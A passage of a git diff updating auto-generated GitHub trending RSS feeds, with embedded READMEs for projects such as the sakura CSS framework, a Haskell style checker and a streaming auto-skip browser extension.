a/handlebars/daily/index.xml b/handlebars/daily/index.xml index 60346771089..ed94bca8eb7 100644 --- a/handlebars/daily/index.xml +++ b/handlebars/daily/index.xml @@ -1,14 +1,7 @@ GitHub Handlebars Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:33:16Z + 2024-01-06T01:32:31Z Daily Trending of Handlebars in GitHub - - Zh40Le1ZOOB/YaoNiangDeTianKong-Fix - 2024-01-05T01:33:16Z - tag:github.com,2024-01-05:/Zh40Le1ZOOB/YaoNiangDeTianKong-Fix - - <p>ใ€Š่ฏๅจ˜็š„ๅคฉ็ฉบใ€‹็ฒพไฟฎ็‰ˆ</p><hr> - \ No newline at end of file diff --git a/haproxy/daily/index.xml b/haproxy/daily/index.xml index 43a0f28ac36..177426f4a73 100644 --- a/haproxy/daily/index.xml +++ b/haproxy/daily/index.xml @@ -1,7 +1,7 @@ GitHub HAProxy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:33:13Z + 2024-01-06T01:32:29Z Daily Trending of HAProxy in GitHub \ No newline at end of file diff --git a/harbour/daily/index.xml b/harbour/daily/index.xml index 9350d8f6f6e..be61750f1fb 100644 --- a/harbour/daily/index.xml +++ b/harbour/daily/index.xml @@ -1,7 +1,7 @@ GitHub Harbour Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:33:18Z + 2024-01-06T01:32:33Z Daily Trending of Harbour in GitHub \ No newline at end of file diff --git a/haskell/daily/index.xml b/haskell/daily/index.xml index 0562824ca3a..062f8c972a4 100644 --- a/haskell/daily/index.xml +++ b/haskell/daily/index.xml @@ -1,21 +1,14 @@ GitHub Haskell Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:33:25Z + 2024-01-06T01:32:40Z Daily Trending of Haskell in GitHub - bradrn/wlhs - 2024-01-05T01:33:25Z - tag:github.com,2024-01-05:/bradrn/wlhs - - <p>Haskell bindings to wlroots (and libwayland)</p><hr><h1>wlhs</h1> <p>This project aims to develop a set of Haskell bindings for <code>wlroots</code> (and some parts of <code>libwayland</code>) At the moment it focusses on low-level bindings, in the <code>wlhs-bindings</code> package.</p> <p><strong>Warning: this project has just begun!</strong> Currently, the bindings are highly incomplete. Please feel free to help us expand them!</p> <h1>Development</h1> <p><strong>We currently target wlroots version <code>0.17.1</code>.</strong></p> <p>There is a Nix development flake available, which may be accessed via <code>nix develop</code>. For <a href="https://github.com/direnv/direnv">direnv</a> users, an <code>.envrc</code> file is also provided.</p> - - - isovector/nspace - 2024-01-05T01:33:25Z - tag:github.com,2024-01-05:/isovector/nspace - - <p>Abstract data structures for representations of R2 and R3</p><hr><h1>nspace</h1> <p><a href="https://hackage.haskell.org/package/nspace"><img src="https://img.shields.io/hackage/v/nspace.svg?logo=haskell&amp;label=nspace" alt="Hackage"></a></p> <h2>Dedication</h2> <blockquote> <p>The eternal silence of these infinite spaces frightens me.</p> <p>-- Blaise Pascal</p> </blockquote> <h2>Overview</h2> <p>Haskelly <code>QuadTree</code>s and <code>OctTree</code>s at last!</p> <p><code>nspace</code> provides infinite-precision 2D and 3D spatial data structures with support for efficient spatial queries.</p> <p>Check the <a href="https://hackage.haskell.org/package/nspace/docs/Data-OctTree.html">Haddock</a> for more information on how to get started!</p> + Epitech/lambdananas + 2024-01-06T01:32:40Z + tag:github.com,2024-01-06:/Epitech/lambdananas + + <p>The haskell coding style checker, version 2.</p><hr><h1>Lambdananas</h1> <p><img src="https://user-images.githubusercontent.com/102175969/166650736-40d20379-fe54-4f79-9f27-f74ceaeedef6.png" alt="pineapple"></p> <p>The haskell coding style checker, version 2.</p> <blockquote> <p>Was previously called hsc or haskell-language-checker</p> </blockquote> <h2>๐Ÿ™‹ Contribute</h2> <h3>Commit format</h3> <p>When writing a commit, please use the following format :</p> <ul> <li>A description of less than 80 characters</li> <li>Why the changes were made / how were they made (optional)</li> </ul> <p>Please use multi line commits when adding descriptions.</p> <h4>Example of a correct commit:</h4> <pre><code>Update system tests script removing build step We should stack build with --exec. That is the proper way to execute something at the end of a build else it will get very confused and exit before finishing. The script is needed because we cannot launch shelltest within exec for reasons that i don't quite understand... </code></pre> <h2>๐Ÿ“ฆ Build &amp; Run</h2> <h3>Using stack</h3> <ul> <li>Run <code>stack build</code></li> <li>You can run the checker for tests using <code>stack run -- [arguments]</code></li> </ul> <h3>Using make</h3> <p>You can use commands specified by Epitech ($NAME re clean fclean tests_run)</p> <h2>๐Ÿ”ง Tests</h2> <ul> <li>Run <code>stack test</code> to run all integration and unit tests</li> <li>Install <code>shelltest</code> and run <code>shelltest -c test</code> from the root of the repo to run cli tests</li> </ul> <h2>๐Ÿšš Deploy</h2> <p>You should ship a new version of the project when new features or fixes are introduced to the project.</p> <h3>Versions</h3> <p>As git recommends, we follow the <a href="https://semver.org/">semantic versioning</a> system for project versions. The last digit in cabal packages is always left empty.</p> <h3>Procedure</h3> <ul> <li>Update the cabal file version</li> <li>Update the <code>Changelog.md</code> file (take exemple on the previous logs)</li> <li>Make a new commit or merge commits to the main branch</li> <li>Be sure the CI passed without errors</li> <li>Create a new release draft (releases -&gt; Draft a new release)</li> <li>Copy the changelog from your <code>Changelog.md</code> file and modify them to be like other release changelogs</li> <li>Download the binary artifact from the CI, extract it and upload it to the release (๐Ÿ›‘ upload the binary and ONLY the binary)</li> </ul> <h2>๐Ÿ“‚ Module hierarchy</h2> <p><img src="https://user-images.githubusercontent.com/102175969/169989347-3fc76e11-eea4-450a-9068-de62d064b911.png" alt="haskell style checker module tree"></p> \ No newline at end of file diff --git a/haxe/daily/index.xml b/haxe/daily/index.xml index 9bf01f61a64..72000dc311a 100644 --- a/haxe/daily/index.xml +++ b/haxe/daily/index.xml @@ -1,7 +1,7 @@ GitHub Haxe Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:33:24Z + 2024-01-06T01:32:39Z Daily Trending of Haxe in GitHub \ No newline at end of file diff --git a/hcl/daily/index.xml b/hcl/daily/index.xml index c9204308292..c7cd4b9f988 100644 --- a/hcl/daily/index.xml +++ b/hcl/daily/index.xml @@ -1,21 +1,7 @@ GitHub HCL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:33:22Z + 2024-01-06T01:32:37Z Daily Trending of HCL in GitHub - - akshaykalra92/AWS-EKS-OpenVpn-Project - 2024-01-05T01:33:22Z - tag:github.com,2024-01-05:/akshaykalra92/AWS-EKS-OpenVpn-Project - - <p>Deploy AWS EKS with open VPN</p><hr> - - - ChristianLempa/homelab - 2024-01-05T01:33:22Z - tag:github.com,2024-01-05:/ChristianLempa/homelab - - <p>This is my entire homelab documentation files. Here you'll find notes, setups, and configurations for infrastructure, applications, networking, and more.</p><hr> - \ No newline at end of file diff --git a/hiveql/daily/index.xml b/hiveql/daily/index.xml index 2c10402f217..86c2358ead7 100644 --- a/hiveql/daily/index.xml +++ b/hiveql/daily/index.xml @@ -1,7 +1,7 @@ GitHub HiveQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:33:33Z + 2024-01-06T01:32:47Z Daily Trending of HiveQL in GitHub \ No newline at end of file diff --git a/hlsl/daily/index.xml b/hlsl/daily/index.xml index fc724ccfe0b..b3251a745db 100644 --- a/hlsl/daily/index.xml +++ b/hlsl/daily/index.xml @@ -1,7 +1,7 @@ GitHub HLSL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:33:36Z + 2024-01-06T01:32:49Z Daily Trending of HLSL in GitHub \ No newline at end of file diff --git a/holyc/daily/index.xml b/holyc/daily/index.xml index aa1d88c4ebe..b0d2caa986d 100644 --- a/holyc/daily/index.xml +++ b/holyc/daily/index.xml @@ -1,7 +1,7 @@ GitHub HolyC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:33:35Z + 2024-01-06T01:32:49Z Daily Trending of HolyC in GitHub \ No newline at end of file diff --git a/hoon/daily/index.xml b/hoon/daily/index.xml index aa6c88ecd9c..2b94e6fc716 100644 --- a/hoon/daily/index.xml +++ b/hoon/daily/index.xml @@ -1,7 +1,7 @@ GitHub hoon Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:33:37Z + 2024-01-06T01:32:52Z Daily Trending of hoon in GitHub \ No newline at end of file diff --git a/html+ecr/daily/index.xml b/html+ecr/daily/index.xml index 1226f8e0369..9c01ed2f497 100644 --- a/html+ecr/daily/index.xml +++ b/html+ecr/daily/index.xml @@ -1,7 +1,7 @@ GitHub HTML+ECR Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:08Z + 2024-01-06T01:33:03Z Daily Trending of HTML+ECR in GitHub \ No newline at end of file diff --git a/html+eex/daily/index.xml b/html+eex/daily/index.xml index b9aa366e2ab..3003f48bf34 100644 --- a/html+eex/daily/index.xml +++ b/html+eex/daily/index.xml @@ -1,7 +1,7 @@ GitHub HTML+EEX Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:10Z + 2024-01-06T01:33:03Z Daily Trending of HTML+EEX in GitHub \ No newline at end of file diff --git a/html+erb/daily/index.xml b/html+erb/daily/index.xml index fb9108d8974..43eab4391ca 100644 --- a/html+erb/daily/index.xml +++ b/html+erb/daily/index.xml @@ -1,7 +1,7 @@ GitHub HTML+ERB Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:07Z + 2024-01-06T01:33:05Z Daily Trending of HTML+ERB in GitHub \ No newline at end of file diff --git a/html+php/daily/index.xml b/html+php/daily/index.xml index 6c30d1cec99..5f9997fb7a2 100644 --- a/html+php/daily/index.xml +++ b/html+php/daily/index.xml @@ -1,7 +1,7 @@ GitHub HTML+PHP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:09Z + 2024-01-06T01:33:04Z Daily Trending of HTML+PHP in GitHub \ No newline at end of file diff --git a/html+razor/daily/index.xml b/html+razor/daily/index.xml index b8a6d47042c..b63f7c1a7d5 100644 --- a/html+razor/daily/index.xml +++ b/html+razor/daily/index.xml @@ -1,7 +1,7 @@ GitHub HTML+Razor Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:14Z + 2024-01-06T01:33:06Z Daily Trending of HTML+Razor in GitHub \ No newline at end of file diff --git a/html/daily/index.xml b/html/daily/index.xml index 8dbf51169f4..f6df5b78149 100644 --- a/html/daily/index.xml +++ b/html/daily/index.xml @@ -1,21 +1,14 @@ GitHub HTML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:33:42Z + 2024-01-06T01:32:55Z Daily Trending of HTML in GitHub - oxalorg/sakura - 2024-01-05T01:33:42Z - tag:github.com,2024-01-05:/oxalorg/sakura - - <p>๐ŸŒธ a minimal css framework/theme.</p><hr><h1><a href="https://oxal.org/projects/sakura">sakura</a>: a minimal, <em><strong>classless</strong></em> CSS <em>framework</em> / <strong>theme</strong>.</h1> <p><a href="https://www.npmjs.com/package/sakura.css"><img src="https://img.shields.io/npm/v/sakura.css.svg?colorB=982c61" alt="npm"></a></p> <p>[Go to <a href="https://github.com/oxalorg/sakura">GitHub repository</a>]</p> <p><img src="https://raw.githubusercontent.com/oxalorg/sakura/master/sakura160.jpg" alt="The cherry blossoms"></p> <blockquote> <p>The perfect blossom is a rare thing. You could spend your life looking for one, and it would not be a wasted life.</p> </blockquote> <p>Just drop <code>sakura.css</code> into any webpage and go from an ugly-looking 1900s website to a pretty, modern website in literally 0 seconds.</p> <p>It's easy to customize and build on top of sakura.</p> <p>Sakura supports extremely easy theming using variables for duotone color scheming. It comes with several existing themes, which can be found in the <code>css</code> folder of this repository.</p> <h2>Demo</h2> <p>Compare a live page <strong>WITH</strong> and <strong>WITHOUT</strong> sakura.</p> <ul> <li><a href="https://oxal.org/projects/sakura/demo">https://oxal.org/projects/sakura/demo</a></li> </ul> <p>Also, my blog is a nice place to check sakura in action with heavy text (it has a "change theme" button on the top as well):</p> <ul> <li><a href="https://oxal.org/blog/">oxal.org/blog</a></li> </ul> <h2>Bookmark</h2> <p>Don't want to develop using sakura but instead want to use it on websites with outdated 90s design (i.e. no CSS)?</p> <p>If so, enable sakura on any website using the following instructions:</p> <ul> <li><a href="https://oxal.org/projects/sakura/bookmark">https://oxal.org/projects/sakura/bookmark</a></li> </ul> <h2>Why? - Reasons to use sakura</h2> <p>How exactly does sakura help you? I had a discussion about this on the <a href="https://www.reddit.com/r/webdev/comments/68zpdp/sakura_a_minimal_classless_css_theme_just_drop_it/">reddit thread</a>.</p> <ul> <li>Just drop it in, even on existing HTML content, to get a pretty-looking website (everything <em>"just works"</em>)</li> <li>Quick prototyping, especially when working on backend sites and can't yet be bothered to fidget with CSS/HTML</li> <li>Building a quick (but pretty) site/blog for your best friend or aunt!</li> <li>No need to remember tons of different class names for every other CSS framework</li> <li>Works amazingly with markdown-generated HTML pages (eliminates the need for hacks like including <code>.img img-responsive</code> in <code>&lt;img&gt;&lt;/img&gt;</code> tags generated from markdown-parser</li> <li>Wonderful for people who aren't really good or interested in design as sakura is nothing but a set of reasonable defaults</li> </ul> <h2>Installation</h2> <p><strong>CDN</strong> (<em>recommended</em>):</p> <ol> <li> <p>Simply add this in your <code>&lt;head&gt;</code> tag:</p> <pre><code class="language-html">&lt;link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/sakura.css/css/sakura.css" type="text/css"&gt; </code></pre> </li> </ol> <p><strong>Manually</strong>:</p> <ol> <li> <p>Download the file:</p> <pre><code class="language-bash">wget "https://raw.githubusercontent.com/oxalorg/sakura/master/css/sakura.css" </code></pre> <p><strong>OR</strong> download directly: <a href="https://raw.githubusercontent.com/oxalorg/sakura/master/css/sakura.css">sakura.css</a></p> </li> <li> <p>Link it from HTML:</p> <pre><code class="language-html">&lt;link rel="stylesheet" href="sakura.css" type="text/css"&gt; </code></pre> </li> </ol> <p><strong>Package Manager</strong>:</p> <ol> <li> <p>Install from npm:</p> <pre><code class="language-bash">npm install sakura.css </code></pre> </li> <li> <p>Install from Yarn:</p> <pre><code class="language-bash">yarn add sakura.css </code></pre> </li> </ol> <p><strong>(Optional)</strong> <em>but recommended</em> to use <a href="https://github.com/necolas/normalize.css/">normalize.css</a> to reset <em>before</em> using sakura.</p> <h2>Sites using sakura</h2> <ul> <li><a href="https://oxal.org/blog/">https://oxal.org/blog/</a></li> <li><a href="http://computableverse.com">http://computableverse.com</a></li> <li><a href="https://gaiwan.co">https://gaiwan.co</a></li> <li><a href="https://www.softwareyoga.com">https://www.softwareyoga.com/</a></li> <li><a href="https://www.taazakitchen.com">https://www.taazakitchen.com/</a></li> <li><a href="https://audioviz.surge.sh/vex.html">https://audioviz.surge.sh/vex.html</a></li> <li><a href="https://chocopy.org">https://chocopy.org</a></li> <li><a href="https://wasmbyexample.dev/">https://wasmbyexample.dev/</a></li> <li><a href="https://ninjas.cl/">https://ninjas.cl/</a></li> <li><a href="https://minidown.atusy.net">https://minidown.atusy.net</a></li> <li><a href="https://jvanelian.dev">https://jvanelian.dev</a></li> <li><a href="https://mousikofidi.info/">https://mousikofidi.info/</a></li> <li><a href="https://ocamlbook.org">https://ocamlbook.org</a></li> <li><a href="https://monkeyjunglejuice.github.io">https://monkeyjunglejuice.github.io</a></li> <li><a href="https://reinforce.moe/about-en.md">https://reinforce.moe/about-en.md</a></li> <li><a href="https://4clojure.oxal.org/">https://4clojure.oxal.org/</a></li> <li><a href="https://yunru.se">https://yunru.se</a></li> <li><a href="https://articleparser.vercel.app/">https://articleparser.vercel.app/</a></li> <li><a href="https://solely.gay">https://solely.gay</a></li> <li><a href="https://bluelander.bearblog.dev/">https://bluelander.bearblog.dev/</a></li> <li><a href="https://onefetch.dev/">https://onefetch.dev/</a></li> <li><a href="https://nonwiz.dev">https://nonwiz.dev/</a></li> </ul> <p><em><strong>If you're using sakura, please let me know or make a pull request adding in your name. I would be super happy!! <code>^_^</code></strong></em></p> <h2>Theming</h2> <p>You can make your own themes by overriding some variables for colors.</p> <p>Here is an example file: <code>./scss/sakura-earthly.scss</code>:</p> <pre><code class="language-scss">/* Duotone color scheming: Uses blossom as the revealing/stark color Uses fade as the more prominent color */ $color-blossom: #338618; $color-fade: #5e5e5e; /* bg color is used for the background of the page bg-alt is used for code-blocks etc */ $color-bg: #f9f9f9; $color-bg-alt: #C7E3BE; /* color of all the text on the page */ $color-text: #4a4a4a; $font-size-base: 1.8rem; @import "main"; </code></pre> <h2>Dark mode</h2> <p>Add a media attribute as follows to choose a darker theme for dark mode.</p> <pre><code>&lt;link rel="stylesheet" href="https://unpkg.com/sakura.css/css/sakura.css" media="screen" /&gt; &lt;link rel="stylesheet" href="https://unpkg.com/sakura.css/css/sakura-dark.css" media="screen and (prefers-color-scheme: dark)" /&gt; </code></pre> <h2>Contributing</h2> <p>Please have a look at the <a href="https://raw.githubusercontent.com/oxalorg/sakura/master/CONTRIBUTING.md">instructions</a>.</p> <h2>Contributors</h2> <ul> <li>Bookmarklet was added by <a href="https://github.com/Zhouzi">Zhouzi</a>.</li> <li>The image is credited to <a href="https://pixabay.com/en/users/Deedster-2541644/">Deedster</a>.</li> <li>Vite previews added by @spenserblack <a href="https://github.com/spenserblack">SpenserBlack</a>.</li> </ul> <h2>Share some &lt;3</h2> <blockquote> <p>Between our two lives there is also the life of the cherry blossom.</p> <ul> <li><em>Basho Matsuo</em></li> </ul> </blockquote> <p>Please leave a star. :)</p> - - - Dreamlinerm/Netflix-Prime-Auto-Skip - 2024-01-05T01:33:42Z - tag:github.com,2024-01-05:/Dreamlinerm/Netflix-Prime-Auto-Skip - - <p>Automatically skip Ads, Intros, Recaps, Credits, etc. on Netflix, Prime video, Disney+ & Hotstar and Crunchyroll. Streaming enhanced</p><hr><div align="center"> <img src="https://raw.githubusercontent.com/Dreamlinerm/Netflix-Prime-Auto-Skip/main/firefox/icons/NetflixAmazon%20Auto-Skip.svg?sanitize=true" width="10%"> <h1>Streaming enhanced</h1> <h2>Automatically skip Ads, Intros, Recaps, Credits, etc. on Netflix, Prime video, Disney+ &amp; Hotstar and Crunchyroll</h2> <a href="https://addons.mozilla.org/firefox/addon/netflix-prime-auto-skip/"> <img src="https://raw.githubusercontent.com/Dreamlinerm/Netflix-Prime-Auto-Skip/main/Logos/firefox.svg?sanitize=true" width="20px"> </a> <img src="https://img.shields.io/amo/dw/NetflixPrime@Autoskip.io"> <img src="https://img.shields.io/amo/users/NetflixPrime@Autoskip.io"> <img src="https://img.shields.io/badge/installs-3100-informational"> <img src="https://img.shields.io/amo/stars/NetflixPrime@Autoskip.io?color=e60010"> <br> <a href="https://chrome.google.com/webstore/detail/streaming-enhanced-netfli/akaimhgappllmlkadblbdknhbfghdgle"> <img src="https://raw.githubusercontent.com/Dreamlinerm/Netflix-Prime-Auto-Skip/main/Logos/chrome.svg?sanitize=true" width="20px"> </a> <img src="https://img.shields.io/chrome-web-store/users/akaimhgappllmlkadblbdknhbfghdgle"> <img src="https://img.shields.io/badge/installs-2000-informational"> <img src="https://img.shields.io/chrome-web-store/stars/akaimhgappllmlkadblbdknhbfghdgle?color=e60010"> <br> <a href="https://paypal.me/MarvinKrebber"> <img src="https://img.shields.io/badge/Donate-PayPal-blue.svg?style=flat&amp;logo=paypal"> </a> </div> <h2>Install in Browser (click on image)</h2> <a href="https://addons.mozilla.org/firefox/addon/netflix-prime-auto-skip/"> <img src="https://raw.githubusercontent.com/Dreamlinerm/Netflix-Prime-Auto-Skip/main/Logos/firefox.svg?sanitize=true" width="8%" alt="firefox"> </a> <a href="https://chrome.google.com/webstore/detail/streaming-enhanced-netfli/akaimhgappllmlkadblbdknhbfghdgle"> <img src="https://raw.githubusercontent.com/Dreamlinerm/Netflix-Prime-Auto-Skip/main/Logos/chrome.svg?sanitize=true" width="8%" alt="chrome"> </a> <a href="https://chrome.google.com/webstore/detail/streaming-enhanced-netfli/akaimhgappllmlkadblbdknhbfghdgle"> <img src="https://raw.githubusercontent.com/Dreamlinerm/Netflix-Prime-Auto-Skip/main/Logos/microsoft-edge-1.svg?sanitize=true" width="8%" alt="chrome"> </a> <h2>Install on Android</h2> <div style="display:flex;flex-direction:column"> <a href="https://play.google.com/store/apps/details?id=com.kiwibrowser.browser"> <img src="https://raw.githubusercontent.com/Dreamlinerm/Netflix-Prime-Auto-Skip/main/Logos/kiwi.webp" width="8%"> <br><b>Kiwi Browser</b> </a> </div> <p>Download <a href="https://play.google.com/store/apps/details?id=com.kiwibrowser.browser">Kiwi Browser</a> or similar to be able to install the chrome addon. But Netflix cannot be watched on android.</p> <p>It will work together with other skippers, but it may behave unexpectedly.</p> <h2>Supported Streaming Services</h2> <table> <tbody> <tr> <td align="center" valign="top" width="14.28%"> <img src="https://raw.githubusercontent.com/Dreamlinerm/Netflix-Prime-Auto-Skip/main/Logos/Netflix.png" width="20%"> <img src="https://raw.githubusercontent.com/Dreamlinerm/Netflix-Prime-Auto-Skip/main/Logos/prime%20video.png" width="20%"> <img src="https://raw.githubusercontent.com/Dreamlinerm/Netflix-Prime-Auto-Skip/main/Logos/crunchyroll.avif" width="20%"> <img src="https://raw.githubusercontent.com/Dreamlinerm/Netflix-Prime-Auto-Skip/main/Logos/disney-plus-logoBackground.jpeg" width="20%"> <img src="https://raw.githubusercontent.com/Dreamlinerm/Netflix-Prime-Auto-Skip/main/Logos/Disney-Plus-HotstarBackground.webp" width="20%"> </td> </tr> </tbody> </table> <h2>What it does</h2> <p>The script, "skipper.js", is injected into all urls containing "amazon.*/*/video" or "netflix.com" or "disneyplus.com" or "hotstar.com".</p> <p>It automatically skips Ads, intros, Credits, recaps, and anything else you don't want to watch on Netflix, Prime video and Disney Plus &amp; Hotstar.</p> <h2>โœจ Features</h2> <p>On Netflix, Prime Video, Disney+ &amp; Hotstar and Crunchyroll it automatically:</p> <ul> <li>Skips Intros &amp; Recaps</li> <li>Either Skips Credits</li> <li>Or Watch Credits</li> <li>Skips Ads</li> <li>Shows TMDB Rating</li> <li>Adds customizable playback speed control</li> <li>Improve subtitle styling</li> <li>Plays on Fullscreen</li> </ul> <p>In addition to the Shared features:</p> <p>On Netflix it also automatically:</p> <ul> <li>Picks last used profile</li> <li>Blocks Inactivity Warning (Are you still watching?)</li> </ul> <p>On Amazon Prime Video it also automatically:</p> <ul> <li>Skips Self promoting ads (Ads for prime video productions)</li> <li>Filters paid content (movies, series)</li> <li>Removes annoying blur when hovering over video</li> </ul> <p>On Crunchyroll it automatically:</p> <ul> <li>Adds Filters to Release Calendar</li> </ul> <p>If you want to see what is implemented go <a href="https://raw.githubusercontent.com/Dreamlinerm/Netflix-Prime-Auto-Skip/main/#implemented-feature-overview">here</a>:</p> <h2>Contributing</h2> <p>If you have any suggestions or Bugs, please open an issue or join the <a href="https://discord.gg/7us76ErE">Discord</a>. Everyone is welcome to contribute!</p> <h2>Other Contributors โœจ</h2> <table> <tbody> <tr> <td align="center" valign="top" width="14.28%"> <a href="https://raw.githubusercontent.com/Dreamlinerm/Netflix-Prime-Auto-Skip/main/www.makre.de"> <img src="https://avatars.githubusercontent.com/u/90410608?s=96&amp;v=4" width="100px;" alt="Marvin Krebber"> <br><sub><b>Marvin Krebber</b></sub> <br><sub>Owner &amp; Main Dev</sub> </a> </td> <td align="center" valign="top" width="14.28%"> <a href="https://github.com/jakche"> <img src="https://avatars.githubusercontent.com/u/70672583?v=4" width="100px;" alt="Jakche"> <br><sub><b>Jakche</b></sub> <br><sub>Translated to macedonian</sub> </a> </td> </tr> </tbody> </table> <h2>๐Ÿ’• Enjoying Streaming enhanced?</h2> <p>Buy me a coffee! <a href="https://paypal.me/MarvinKrebber">PayPal</a></p> <h1>Donation Comments</h1> <p>Some are in German and therefore are translated to english.</p> <p>If you want you first name or full name on here write FULLName or Firstname in the Donation or open an issue.</p> <table> <tbody> <tr> <td align="center" valign="top"> 21.02.2023 </td> <td align="center" valign="top"> Fast response on github, you earned your cofee sir ! </td> </tr> <tr> <td align="center" valign="top"> 17.03.2023 </td> <td align="center" valign="top"> for the prime freevee skipping app </td> </tr> <tr> <td align="center" valign="top"> 26.03.2023 </td> <td align="center" valign="top"> NP Auto-Skip Firefox Add-on (Works great!) Thank you! </td> </tr> <tr> <td align="center" valign="top"> 16.04.2023 </td> <td align="center" valign="top"> Thanks for the Auto Skip Addon! </td> </tr> <tr> <td align="center" valign="top"> 08.05.2023 </td> <td align="center" valign="top"> Donate </td> </tr> <tr> <td align="center" valign="top"> 04.06.2023 </td> <td align="center" valign="top"> For creating a nice freakin' awesome plugin! Thank you! PLEASE expand to other streaming services! </td> </tr> <tr> <td align="center" valign="top"> 20.06.2023 </td> <td align="center" valign="top"> Hi, I am the Contributor. I'm eager to contribute to the project, even with limited financial resources. I plan to dedicate my time and coding skills to support the project, maybe by the end of the year. I just started to learn to code. Best of luck! </td> </tr> <tr> <td align="center" valign="top"> 01.07.2023 </td> <td align="center" valign="top"> NP Firefox Add-On. Danke! ๐Ÿ˜Š </td> </tr> <tr> <td align="center" valign="top"> 23.08.2023 </td> <td align="center" valign="top"> For one of the best addons with which you can still use Prime at all. I would be happy if it remains functional for a long time, as long as Amazon doesn't bring out some kind of club :) </td> </tr> <tr> <td align="center" valign="top"> 01.09.2023 </td> <td align="center" valign="top"> Your extension is the most useful extension I have ever used. Thanks for creating it! </td> </tr> </tbody> </table> <h2>Settings</h2> <p>Configure what is skipped in the settings Page.</p> <p>Import and Export all Settings.</p> <p>See Statistics. All statistics and settings are not shared but are synchronized with your browser account.</p> <p><img src="https://raw.githubusercontent.com/Dreamlinerm/Netflix-Prime-Auto-Skip/main/Publish/Screenshots/settings.png?raw=true" alt="Settings.png"></p> <h2>How it works</h2> <p>The addon is observing every mutation of the dom Tree of the Website.</p> <p>On Netflix it matches the buttons with the data-uia tag containing:</p> <ul> <li>Intro: player-skip-intro</li> <li>Recap: player-skip-recap, player-skip-preplay</li> <li>Credits: next-episode-seamless-button</li> <li>Inactivity Warning: interrupt-autoplay-continue</li> <li>Basic tier ads: matched by css class .ltr-puk2kp and the speed is set to 16x until the ad is over</li> </ul> <p>On Prime video it matches buttons with the Css Classes:</p> <ul> <li>Intro: skipelement</li> <li>Credits: nextupcard-button</li> <li>Self promoting ads: .fu4rd6c.f1cw2swo</li> <li>Paid Content: .o86fri (yallow text indicates paid films)</li> </ul> <p>The freevee ad text contains the ad length which is matched by</p> <ul> <li>Freevee ads: .atvwebplayersdk-adtimeindicator-text</li> </ul> <p>and then skipped by forwarding by the ad length -0.1 seconds which will fix a lot of issues it turns out.</p> <h2>Run the Extension</h2> <h2>Chrome</h2> <p>To run the extension in chrome you can just load the <code>chrome</code> folder as an unpacked extension. But every time you modify the code you have to reload the extension on the extension page manually. I primarily just develop in firefox and then copy the code into chrome and replace <code>browser</code> with <code>chrome</code> in the code.</p> <h2>Firefox</h2> <h3>Install web-ext and Firefox</h3> <p><code>npm install --global web-ext</code></p> <h2>Commands</h2> <p><code>npm run start</code></p> <p><code>npm run build</code></p> <p><code>npm run lint</code></p> <h2>debug</h2> <p>Create a profile named <code>test</code> in Firefox in the <code>about:profiles</code> page. Then you can login into Netflix and Prime video in the profile and then every time you run the command you don't have to login again.</p> <p><code>npm run profile</code></p> <h2>Test the Extension</h2> <h3>setup</h3> <ul> <li>insert your own firefox profile name to be logged into every platform in the <code>test.js</code> file.</li> <li>install Python</li> <li>install selenium <code>pip install -U selenium</code></li> <li><code>npm i</code></li> </ul> <h3>run</h3> <p>To run the automated tests run:</p> <ol> <li><code>npm run build</code></li> <li>copy the web-ext artifact into the normal folder and rename it to <a href="mailto:NetflixPrime@Autoskip.io.xpi">NetflixPrime@Autoskip.io.xpi</a></li> <li><code>npm test</code></li> </ol> <p>Cli ARGS:</p> <ul> <li>none : all tests</li> <li>'n': Netflix tests</li> <li>'p': Prime Video tests</li> <li>'d': Disney tests</li> </ul> <p><code>npm test n p d</code></p> <h1>Implemented Feature Overview</h1> <p>Table of test cases for each feature. S=season, E=episode of the show.</p> <table> <thead> <tr> <th>Feature</th> <th>Netflix</th> <th>Prime Video</th> <th>Disney+ &amp; Hotstar</th> <th>Crunchyroll</th> </tr> </thead> <tbody> <tr> <td>Intro</td> <td>โœ… <a href="https://www.netflix.com/watch/80011385">brooklyn nine nine S1E4</a></td> <td>โœ… <a href="https://www.amazon.de/gp/video/detail/B07FMF18GN">lucifer S3E4</a></td> <td>โœ… <a href="https://www.disneyplus.com/en-gb/video/4e9305a0-6ade-4922-bfba-c68c53a0d5a6">star wars andor S1E2</a></td> <td>โœ…</td> </tr> <tr> <td>Recaps</td> <td>โœ… <a href="https://www.netflix.com/watch/81274622">Outer Banks S2E1</a></td> <td>โœ… <a href="https://www.amazon.de/gp/video/detail/B07FMF18GN">lucifer S3E3</a></td> <td>โœ… <a href="https://www.disneyplus.com/en-gb/video/efe020f1-7a23-42b5-a330-b193eef8531b">Criminal Minds S1E2</a></td> <td>?</td> </tr> <tr> <td>Credits</td> <td>โœ…</td> <td>โœ…</td> <td>โœ…</td> <td>โŒ</td> </tr> <tr> <td>Ads</td> <td>โœ…</td> <td>โœ… <a href="https://www.amazon.de/Es-war-einmal/dp/B00GNWD4H0">Grimm</a></td> <td>โž–</td> <td>โŒ(Ublock can do it)</td> </tr> <tr> <td>Add Speed Slider</td> <td>โœ…</td> <td>โœ…</td> <td>โœ…</td> <td>โœ…</td> </tr> <tr> <td>Play on Fullscreen</td> <td>โœ…</td> <td>โœ…</td> <td>โœ…</td> <td>โœ…</td> </tr> <tr> <td>TMDB Rating</td> <td>โœ…</td> <td>โž–(amazon has IMDB)</td> <td>โœ…</td> <td>โŒ</td> </tr> <tr> <td>Individual Features</td> <td>---</td> <td>---</td> 